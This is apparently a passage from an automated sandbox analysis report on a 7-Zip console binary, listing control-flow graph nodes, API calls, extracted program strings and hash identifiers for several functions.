1234->1192 1244 6fa1d5-6fa1de 1237->1244 1245 6fa1a5-6fa1cd fputs call 6b26a0 call 6b2300 1237->1245 1251 6fa1f3-6fa223 fputs call 6b26a0 call 6b2300 1244->1251 1252 6fa1e0-6fa1e3 1244->1252 1245->1244 1247->1221 1262 6fa275-6fa2c3 fputs call 6b26a0 call 6b2300 fputs call 6b26a0 call 6b2300 1251->1262 1280 6fa225-6fa270 fputs call 6b26a0 call 6b2300 fputs call 6b26a0 call 6b2300 1251->1280 1252->1251 1257 6fa1e5-6fa1ed 1252->1257 1257->1251 1257->1262 1292 6fa2c8-6fa2cb 1262->1292 1273 6fa58c-6fa599 free 1265->1273 1274 6fa55b 1265->1274 1271 6fa510-6fa526 1266->1271 1276 6fa538-6fa53b 1271->1276 1277 6fa528-6fa533 free * 2 1271->1277 1273->1113 1279 6fa55f-6fa575 1274->1279 1276->1265 1276->1271 1277->1276 1283 6fa587-6fa58a 1279->1283 1284 6fa577-6fa582 free * 2 1279->1284 1280->1262 1283->1273 1283->1279 1284->1283 1292->1221 1293 6fa2cd-6fa2e5 call 6b2300 call 6f291c 1292->1293 1293->1221
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$ExceptionThrowfputs$fputc
                                                                                                                                                                                                                                                              • String ID: 7zCon.sfx$Alternate Streams Size: $Alternate Streams: $Archives with Errors: $Archives with Warnings: $Archives: $Can't open as archive: $Compressed: $ERROR:$ERROR: $Files: $Folders: $Incorrect command line$OK archives: $Open Errors: $Size: $Sub items Errors: $Warnings:
                                                                                                                                                                                                                                                              • API String ID: 1639683984-435538426
                                                                                                                                                                                                                                                              • Opcode ID: 4c4dbd82c9f8811dec2d4c2d88fd473b5eacc21514dbb3aaf2cf583b9a9ee4bd
                                                                                                                                                                                                                                                              • Instruction ID: d6b389b57e1a9d0f970f55244d32fce1d875eb3352347bba8f1d1ccc73eba562
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4c4dbd82c9f8811dec2d4c2d88fd473b5eacc21514dbb3aaf2cf583b9a9ee4bd
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 437299B2209AC595CA74EF24E4A03EEB3A2F785B80F44412ADB8D43B19DF3CC595CB55
                                                                                                                                                                                                                                                              Function 006F9B5D Relevance: 84.5, APIs: 33, Strings: 15, Instructions: 507COMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 1833 6f9b5d-6f9b5f 1834 6f9b79-6f9c1f call 6f057c call 6b3208 call 6d38e8 free 1833->1834 1835 6f9b61-6f9b74 fputs call 6b2300 1833->1835 1843 6f9c21-6f9c2b call 6fb1c8 1834->1843 1844 6f9c30-6f9c33 1834->1844 1835->1834 1843->1844 1846 6f9c35-6f9c3c 1844->1846 1847 6f9c54-6f9c8b call 6fb310 call 6b2130 1844->1847 1846->1847 1849 6f9c3e-6f9c4e call 6f0994 1846->1849 1857 6f9c8d-6f9c98 call 6f7414 1847->1857 1858 6f9c9a 1847->1858 1853 6f9c53 1849->1853 1853->1847 1860 6f9c9d-6f9ca8 1857->1860 1858->1860 1862 6f9caa-6f9cb3 1860->1862 1863 6f9cb4-6f9d77 call 6b3404 1860->1863 1862->1863 1867 6f9d79-6f9d7d 1863->1867 1868 6f9d83-6f9e8a call 6f71ec call 6b3404 call 6bef70 call 6b3208 call 6d6be0 1863->1868 1867->1868 1879 6f9e8c-6f9eb4 call 6d6e08 1868->1879 1880 6f9ed2-6f9f53 call 6d5458 1868->1880 1879->1880 1885 6f9eb6-6f9ed1 _CxxThrowException 1879->1885 1886 6f9f55-6f9f5b call 6fb1c8 1880->1886 1887 6f9f60-6f9f68 1880->1887 1885->1880 1886->1887 1889 6f9fbd-6f9fca 1887->1889 1890 6f9f6a-6f9f74 1887->1890 1893 6fa02c-6fa033 1889->1893 1894 6f9fcc-6f9fcf call 6b2300 1889->1894 1891 6f9f76-6f9fac call 6b2300 fputs call 6b2300 call 6b2320 call 6b2300 1890->1891 1892 6f9fb1-6f9fb9 1890->1892 1891->1892 1892->1889 1896 6fa035-6fa03a 1893->1896 1897 6fa063-6fa06a 1893->1897 1903 6f9fd4-6f9fdc 1894->1903 1896->1897 1900 6fa03c-6fa05e fputs call 6b26a0 call 6b2300 1896->1900 1901 6fa09e-6fa0a1 1897->1901 1902 6fa06c-6fa071 1897->1902 1900->1897 1905 6fa114-6fa11b 1901->1905 1907 6fa0a3-6fa0aa 1901->1907 1904 6fa077-6fa099 fputs call 6b26a0 call 6b2300 1902->1904 1902->1905 1903->1893 1906 6f9fde-6fa027 fputs call 6b26a0 call 6b2300 fputs call 6b26a0 call 6b2300 1903->1906 1904->1901 1912 6fa11d-6fa122 1905->1912 1913 6fa15c-6fa15f 1905->1913 1906->1893 1914 6fa0ac-6fa0ce fputs call 6b26a0 call 6b2300 1907->1914 1915 6fa0d3-6fa0da 1907->1915 1920 6fa124-6fa133 call 6b2300 1912->1920 1921 6fa161 1912->1921 1913->1921 1925 6fa16c-6fa16f 1913->1925 1914->1915 1915->1905 1924 6fa0dc-6fa0eb call 6b2300 1915->1924 1920->1921 1946 6fa135-6fa157 fputs call 6b26a0 call 6b2300 1920->1946 1921->1925 1924->1905 1947 6fa0ed-6fa10f fputs call 6b26a0 call 6b2300 1924->1947 1933 6fa175-6fa17c 1925->1933 1934 6fa320-6fa50a free * 2 call 6d6b58 free call 6f7968 1925->1934 1941 6fa2e7-6fa2f6 call 6b2300 1933->1941 1942 6fa182-6fa189 1933->1942 1978 6fa53d-6fa559 free 1934->1978 1979 6fa50c 1934->1979 1941->1934 1960 6fa2f8-6fa31f fputs call 6b26a0 call 6b2300 1941->1960 1942->1941 1943 6fa18f-6fa192 1942->1943 1943->1934 1950 6fa198-6fa1a3 1943->1950 1946->1913 1947->1905 1957 6fa1d5-6fa1de 1950->1957 1958 6fa1a5-6fa1cd fputs call 6b26a0 call 6b2300 1950->1958 1964 6fa1f3-6fa223 fputs call 6b26a0 call 6b2300 1957->1964 1965 6fa1e0-6fa1e3 1957->1965 1958->1957 1960->1934 1975 6fa275-6fa2c3 fputs call 6b26a0 call 6b2300 fputs call 6b26a0 call 6b2300 1964->1975 1994 6fa225-6fa270 fputs call 6b26a0 call 6b2300 fputs call 6b26a0 call 6b2300 1964->1994 1965->1964 1970 6fa1e5-6fa1ed 1965->1970 1970->1964 1970->1975 2017 6fa2c8-6fa2cb 1975->2017 1986 6fa58c-6fa5b5 free 1978->1986 1987 6fa55b 1978->1987 1984 6fa510-6fa526 1979->1984 1989 6fa538-6fa53b 1984->1989 1990 6fa528-6fa533 free * 2 1984->1990 1995 6fa5b7-6fa5be 1986->1995 1996 6fa5c5-6fa5c8 1986->1996 1992 6fa55f-6fa575 1987->1992 1989->1978 1989->1984 1990->1989 1999 6fa587-6fa58a 1992->1999 2000 6fa577-6fa582 free * 2 1992->2000 1994->1975 1995->1996 2001 6fa5c0 call 6f66a8 1995->2001 2003 6fa5ca-6fa5e6 _CxxThrowException 1996->2003 2004 6fa5e7-6fa603 free 1996->2004 1999->1986 1999->1992 2000->1999 2001->1996 2003->2004 2008 6fa626-6fa637 free call 6da13c 2004->2008 2009 6fa605 2004->2009 2016 6fa63c-6fa675 call 6f7080 call 6b182c call 6f7f50 2008->2016 2012 6fa609-6fa624 free 2009->2012 2012->2008 2012->2012 2031 6fa6a8-6fa6c9 free 2016->2031 2032 6fa677 2016->2032 2017->1934 2018 6fa2cd-6fa2e5 call 6b2300 call 6f291c 2017->2018 2018->1934 2033 6fa67b-6fa691 2032->2033 2035 6fa6a3-6fa6a6 2033->2035 2036 6fa693-6fa69e free * 2 2033->2036 2035->2031 2035->2033 2036->2035
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputcfputsfree
                                                                                                                                                                                                                                                              • String ID: Alternate Streams Size: $Alternate Streams: $Archives with Errors: $Archives with Warnings: $Archives: $Can't open as archive: $Compressed: $ERROR:$Files: $Folders: $OK archives: $Open Errors: $Scanning the drive for archives:$Size: $Warnings:
                                                                                                                                                                                                                                                              • API String ID: 2822829076-727241755
                                                                                                                                                                                                                                                              • Opcode ID: 871e1854d9edd67bc96b6855a654601f8c0ec871a73ff71051c4b83c8e02dca7
                                                                                                                                                                                                                                                              • Instruction ID: 8052972a32f5f48f848a2ae16ab693e8fc594d4323458f955326be4f5b3433fc
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 871e1854d9edd67bc96b6855a654601f8c0ec871a73ff71051c4b83c8e02dca7
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 47229FB2709AC691CA74EF24E4A03EEB3A2F785B80F44412ADB9D43B19DF38C595C745
                                                                                                                                                                                                                                                              Function 006DA180 Relevance: 47.6, APIs: 23, Strings: 4, Instructions: 342libraryloaderCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 2649 6da180-6da1e9 GetProcAddress * 2 2650 6da1eb-6da1fe GetProcAddress 2649->2650 2651 6da214-6da22a GetProcAddress 2649->2651 2652 6da200-6da20d 2650->2652 2653 6da233-6da23e 2650->2653 2651->2653 2654 6da22c-6da22e 2651->2654 2652->2653 2660 6da20f 2652->2660 2656 6da729 2653->2656 2657 6da244-6da2f0 call 6b3208 call 6d8928 2653->2657 2655 6da72b-6da73e 2654->2655 2656->2655 2664 6da648 2657->2664 2665 6da2f6-6da30a 2657->2665 2660->2655 2668 6da718-6da727 call 6d94a8 2664->2668 2666 6da31c-6da321 2665->2666 2667 6da30c-6da31a 2665->2667 2671 6da328-6da32b 2666->2671 2667->2671 2668->2655 2673 6da32d-6da345 call 6bae2c call 6d94a8 2671->2673 2674 6da34a-6da350 2671->2674 2692 6da634-6da63d 2673->2692 2676 6da36f-6da37d SysStringByteLen 2674->2676 2677 6da352-6da36a call 6bae2c call 6d94a8 2674->2677 2678 6da64d-6da65d call 6bae2c 2676->2678 2679 6da383-6da3e3 call 6bae2c * 2 call 6b3208 * 2 call 6d8928 2676->2679 2677->2692 2678->2668 2701 6da3e9-6da40c call 6d8928 2679->2701 2702 6da662-6da678 free * 2 2679->2702 2692->2657 2694 6da643 2692->2694 2694->2656 2705 6da67d-6da693 free * 2 2701->2705 2706 6da412-6da485 call 6d9d98 call 6d87a8 call 6d8860 2701->2706 2702->2668 2705->2668 2713 6da698-6da6ae free * 2 2706->2713 2714 6da48b-6da49c 2706->2714 2713->2668 2715 6da4ee-6da51b call 6d9380 2714->2715 2716 6da49e-6da4a5 2714->2716 2721 6da521-6da526 2715->2721 2722 6da6b0-6da6d1 free * 3 2715->2722 2717 6da4ab-6da4d9 call 6d87a8 2716->2717 2726 6da4db-6da4de 2717->2726 2727 6da4e5-6da4ec 2717->2727 2724 6da528-6da53f call 6d98d4 2721->2724 2725 6da541-6da564 call 6d9380 2721->2725 2722->2668 2732 6da583-6da5b7 call 6d8860 2724->2732 2733 6da56a-6da57e call 6da034 2725->2733 2734 6da6d3-6da6f4 free * 3 2725->2734 2726->2727 2727->2715 2727->2717 2738 6da5bd-6da5c0 2732->2738 2739 6da6f6-6da715 free * 3 2732->2739 2733->2732 2734->2668 2740 6da5cf-6da5e4 call 6b2130 2738->2740 2741 6da5c2-6da5ca 2738->2741 2739->2668 2744 6da5f8 2740->2744 2745 6da5e6-6da5f1 call 6d9af0 2740->2745 2741->2740 2747 6da5fb-6da62f call 6bb8f0 free * 3 call 6d94a8 2744->2747 2748 6da5f6 2745->2748 2747->2692 2748->2747
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: AddressProc
                                                                                                                                                                                                                                                              • String ID: GetHandlerProperty$GetHandlerProperty2$GetIsArc$GetNumberOfFormats
                                                                                                                                                                                                                                                              • API String ID: 190572456-3984264347
                                                                                                                                                                                                                                                              • Opcode ID: 73fef0eb24d6ff44d8697e840df78f3fac1608cd30a242a31fa2bdb042e46f71
                                                                                                                                                                                                                                                              • Instruction ID: 2d61b9403c5dc4c84647a5559b3d7eae1e11f102b446d8021e397580a60aca95
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 73fef0eb24d6ff44d8697e840df78f3fac1608cd30a242a31fa2bdb042e46f71
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: E7D1817261DAC086C660EB61E8507EEB3A6F7C5780F401526EB8E47B19DF7CC546CB05
                                                                                                                                                                                                                                                              Function 006B70C8 Relevance: 40.7, APIs: 27, Instructions: 237COMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 2752 6b70c8-6b70e4 call 6b7d4c 2754 6b70e9-6b70ec 2752->2754 2755 6b70f9-6b7103 call 6b9d84 2754->2755 2756 6b70ee-6b70f0 2754->2756 2761 6b710c-6b7136 call 6b9ed8 call 6b3274 call 6b376c 2755->2761 2762 6b7105-6b7107 2755->2762 2756->2755 2757 6b70f2-6b70f4 2756->2757 2759 6b7449-6b7458 2757->2759 2769 6b715b-6b7175 call 6b3314 2761->2769 2770 6b7138-6b7141 2761->2770 2762->2759 2777 6b717a-6b7186 call 6ba170 2769->2777 2770->2769 2771 6b7143-6b7145 2770->2771 2773 6b714c-6b7155 2771->2773 2774 6b7147 2771->2774 2773->2769 2776 6b73f1-6b73fe free 2774->2776 2776->2759 2780 6b71aa-6b71ac 2777->2780 2781 6b7188-6b7195 CreateDirectoryW 2777->2781 2784 6b727d-6b7286 GetLastError 2780->2784 2785 6b71b2-6b71d2 call 6b3208 call 6ba7ec 2780->2785 2782 6b719b-6b71a4 GetLastError 2781->2782 2783 6b7360-6b7364 2781->2783 2782->2780 2782->2784 2786 6b73c9-6b73e1 free * 2 2783->2786 2787 6b7366-6b7379 call 6b9ab0 2783->2787 2789 6b7288-6b72b5 call 6b7d28 call 6b3208 call 6b7ebc 2784->2789 2790 6b72e4-6b72ed GetLastError 2784->2790 2805 6b71d8-6b71e7 CreateDirectoryW 2785->2805 2806 6b7273-6b7278 free 2785->2806 2786->2759 2802 6b737b-6b737f 2787->2802 2803 6b7381 2787->2803 2827 6b72b7-6b72c4 free 2789->2827 2828 6b72c6-6b72db free 2789->2828 2793 6b73e3-6b73ee free 2790->2793 2794 6b72f3-6b7301 call 6b376c 2790->2794 2793->2776 2809 6b7432-6b7447 free * 2 2794->2809 2810 6b7307-6b7309 2794->2810 2808 6b7385-6b73a3 call 6b3460 call 6b6c84 2802->2808 2803->2808 2811 6b71ed-6b71f6 GetLastError 2805->2811 2812 6b7356-6b735b free 2805->2812 2806->2784 2834 6b73ad-6b73c4 free * 2 2808->2834 2835 6b73a5-6b73a9 2808->2835 2809->2759 2810->2809 2815 6b730f-6b7316 2810->2815 2816 6b71f8-6b7202 free 2811->2816 2817 6b7207-6b7230 call 6b7d28 call 6b3208 call 6b7ebc 2811->2817 2812->2783 2820 6b7318-6b731c 2815->2820 2821 6b732c-6b7332 2815->2821 2816->2790 2841 6b724f-6b7271 free * 2 2817->2841 2842 6b7232-6b724a free * 2 2817->2842 2822 6b7322-6b7326 2820->2822 2823 6b7400-6b7417 free * 2 2820->2823 2824 6b7419-6b7430 free * 2 2821->2824 2825 6b7338-6b733c 2821->2825 2822->2821 2822->2823 2823->2759 2824->2759 2825->2777 2830 6b7342-6b7351 2825->2830 2827->2790 2832 6b72e0-6b72e2 2828->2832 2830->2777 2832->2783 2832->2790 2834->2759 2835->2787 2837 6b73ab 2835->2837 2837->2786 2841->2832 2842->2790
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                                • Part of subcall function 006B7D4C: GetFileAttributesW.KERNELBASE ref: 006B7D6E
                                                                                                                                                                                                                                                                • Part of subcall function 006B7D4C: GetFileAttributesW.KERNEL32 ref: 006B7DA5
                                                                                                                                                                                                                                                                • Part of subcall function 006B7D4C: free.MSVCRT ref: 006B7DB2
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006B73F6
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: AttributesFilefree
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1936811914-0
                                                                                                                                                                                                                                                              • Opcode ID: 2b197326d930c81739ce0310d85795b3f658fd51b37e5abb9d2da20ad921631d
                                                                                                                                                                                                                                                              • Instruction ID: e72597a99decb37cd7f91a0e1394ff3a81e98b0b4cd4aa6a35d044dbc75ba5e8
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2b197326d930c81739ce0310d85795b3f658fd51b37e5abb9d2da20ad921631d
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 4A8164A221C54182CA60EF25E4613EE63A3FBC5784F441226FB8E87769DF39C9C6D714
                                                                                                                                                                                                                                                              Function 006B7EBC Relevance: 37.2, APIs: 18, Strings: 3, Instructions: 418COMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 2843 6b7ebc-6b7ee3 call 6b9b68 2846 6b7fca-6b7fd6 call 6b9ddc 2843->2846 2847 6b7ee9-6b7f26 call 6b339c call 6b9ce4 2843->2847 2853 6b7fdc-6b7fe4 2846->2853 2854 6b8253-6b828a call 6b9d0c call 6b9b30 2846->2854 2859 6b7f28-6b7f2c 2847->2859 2860 6b7f8c-6b7fa4 call 6b91dc 2847->2860 2853->2854 2857 6b7fea-6b800c call 6b3274 * 2 2853->2857 2870 6b828c-6b8294 2854->2870 2871 6b8306-6b830b 2854->2871 2880 6b801b-6b8020 2857->2880 2881 6b800e-6b8017 2857->2881 2859->2860 2863 6b7f2e-6b7f77 call 6babb0 2859->2863 2874 6b7fa8-6b7fac 2860->2874 2875 6b7fa6 2860->2875 2863->2860 2879 6b7f79-6b7f87 2863->2879 2870->2871 2878 6b8296-6b82a5 call 6b7d4c 2870->2878 2876 6b8318-6b831c 2871->2876 2877 6b830d-6b8312 2871->2877 2883 6b7fae-6b7fb3 2874->2883 2884 6b7fb6 2874->2884 2882 6b7fb9-6b7fc5 call 6b89d8 2875->2882 2887 6b831e-6b8330 call 6b7d4c 2876->2887 2888 6b8377-6b8381 call 6b9c80 2876->2888 2877->2876 2885 6b84f2-6b8500 call 6b7978 2877->2885 2878->2885 2904 6b82ab-6b82b2 2878->2904 2890 6b8519-6b8524 2879->2890 2891 6b8022-6b803e call 6b2880 2880->2891 2892 6b8040-6b804c call 6b3670 2880->2892 2881->2880 2882->2890 2883->2884 2884->2882 2905 6b8505-6b8506 2885->2905 2887->2885 2907 6b8336-6b833d 2887->2907 2888->2885 2908 6b8387-6b8396 2888->2908 2891->2892 2901 6b8051-6b8062 call 6b9ce4 2891->2901 2892->2901 2916 6b80b1-6b80bb call 6b7ebc 2901->2916 2917 6b8064-6b8067 2901->2917 2904->2885 2909 6b82b8-6b82eb call 6b339c 2904->2909 2910 6b8509-6b8511 call 6b794c 2905->2910 2907->2885 2912 6b8343-6b8372 2907->2912 2908->2885 2913 6b839c-6b83a6 call 6b9ab0 2908->2913 2924 6b82ed-6b82f8 2909->2924 2925 6b82fc-6b8301 2909->2925 2920 6b8516 2910->2920 2912->2910 2913->2885 2931 6b83ac-6b83c2 call 6b3274 2913->2931 2929 6b80c1-6b8108 call 6b3314 call 6b3208 call 6b7ce0 2916->2929 2933 6b823e-6b824e free * 2 2916->2933 2921 6b8069-6b806c 2917->2921 2922 6b8075-6b80a3 2917->2922 2920->2890 2921->2916 2928 6b806e-6b8073 2921->2928 2922->2929 2930 6b80a5-6b80af call 6b3404 2922->2930 2924->2925 2925->2910 2928->2916 2928->2922 2953 6b815a-6b8185 free * 2 call 6b794c free 2929->2953 2954 6b810a-6b8111 2929->2954 2930->2929 2939 6b83d2-6b83f2 2931->2939 2940 6b83c4-6b83ce call 6b2fec 2931->2940 2933->2854 2944 6b8402-6b8437 call 6b7978 2939->2944 2945 6b83f4-6b83fe call 6b2fec 2939->2945 2940->2939 2955 6b8439-6b8457 wcscmp 2944->2955 2956 6b8484-6b849d call 6b7d4c 2944->2956 2945->2944 2968 6b822d-6b8239 free 2953->2968 2959 6b818a-6b81c1 SetLastError free * 2 call 6b794c free 2954->2959 2960 6b8113-6b8124 call 6b2748 2954->2960 2961 6b8459-6b8477 call 6b339c free 2955->2961 2962 6b847c 2955->2962 2969 6b849f-6b84a1 2956->2969 2970 6b84b3-6b84f0 call 6b339c free 2956->2970 2959->2968 2977 6b812a-6b8158 free call 6b3208 call 6b7ce0 2960->2977 2978 6b81c3-6b81ca 2960->2978 2961->2910 2962->2956 2968->2890 2974 6b84a3-6b84a5 2969->2974 2975 6b84a7-6b84b1 free 2969->2975 2970->2910 2974->2970 2974->2975 2975->2885 2977->2953 2977->2954 2979 6b81cc-6b81d1 2978->2979 2980 6b81e0-6b822a call 6b362c free * 2 call 6b794c free 2978->2980 2979->2980 2983 6b81d3-6b81dc 2979->2983 2980->2968 2983->2980
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006B812F
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006B816A
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006B817F
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006B8232
                                                                                                                                                                                                                                                                • Part of subcall function 006BABB0: GetModuleHandleW.KERNEL32 ref: 006BABD1
                                                                                                                                                                                                                                                                • Part of subcall function 006BABB0: GetProcAddress.KERNEL32 ref: 006BABE1
                                                                                                                                                                                                                                                                • Part of subcall function 006BABB0: GetDiskFreeSpaceW.KERNEL32 ref: 006BAC32
                                                                                                                                                                                                                                                              • SetLastError.KERNEL32 ref: 006B818F
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006B819B
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006B81A6
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006B81BB
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006B8243
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006B824E
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006B815F
                                                                                                                                                                                                                                                                • Part of subcall function 006B339C: free.MSVCRT ref: 006B33D7
                                                                                                                                                                                                                                                                • Part of subcall function 006B339C: memmove.MSVCRT(00000000,?,?,00000000,006B10A8), ref: 006B33F2
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$AddressDiskErrorFreeHandleLastModuleProcSpacememmove
                                                                                                                                                                                                                                                              • String ID: :$:$DATA$\
                                                                                                                                                                                                                                                              • API String ID: 4130059181-1004618218
                                                                                                                                                                                                                                                              • Opcode ID: 7d47eded2622c94f0ddccb54c994b41fb8cf36bc1bcc716852e6415c4a0d71d6
                                                                                                                                                                                                                                                              • Instruction ID: 5a70a81fdd1aecffb1d91074ac7d9be1fa797c8d58a5f50a95970084afa223bb
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 7d47eded2622c94f0ddccb54c994b41fb8cf36bc1bcc716852e6415c4a0d71d6
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 7602A1B31056819ACB60EF29D4902EDB7B2F795390F40422AE79E47B68DF34C5E5CB48
                                                                                                                                                                                                                                                              Function 006F3E84 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 227COMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
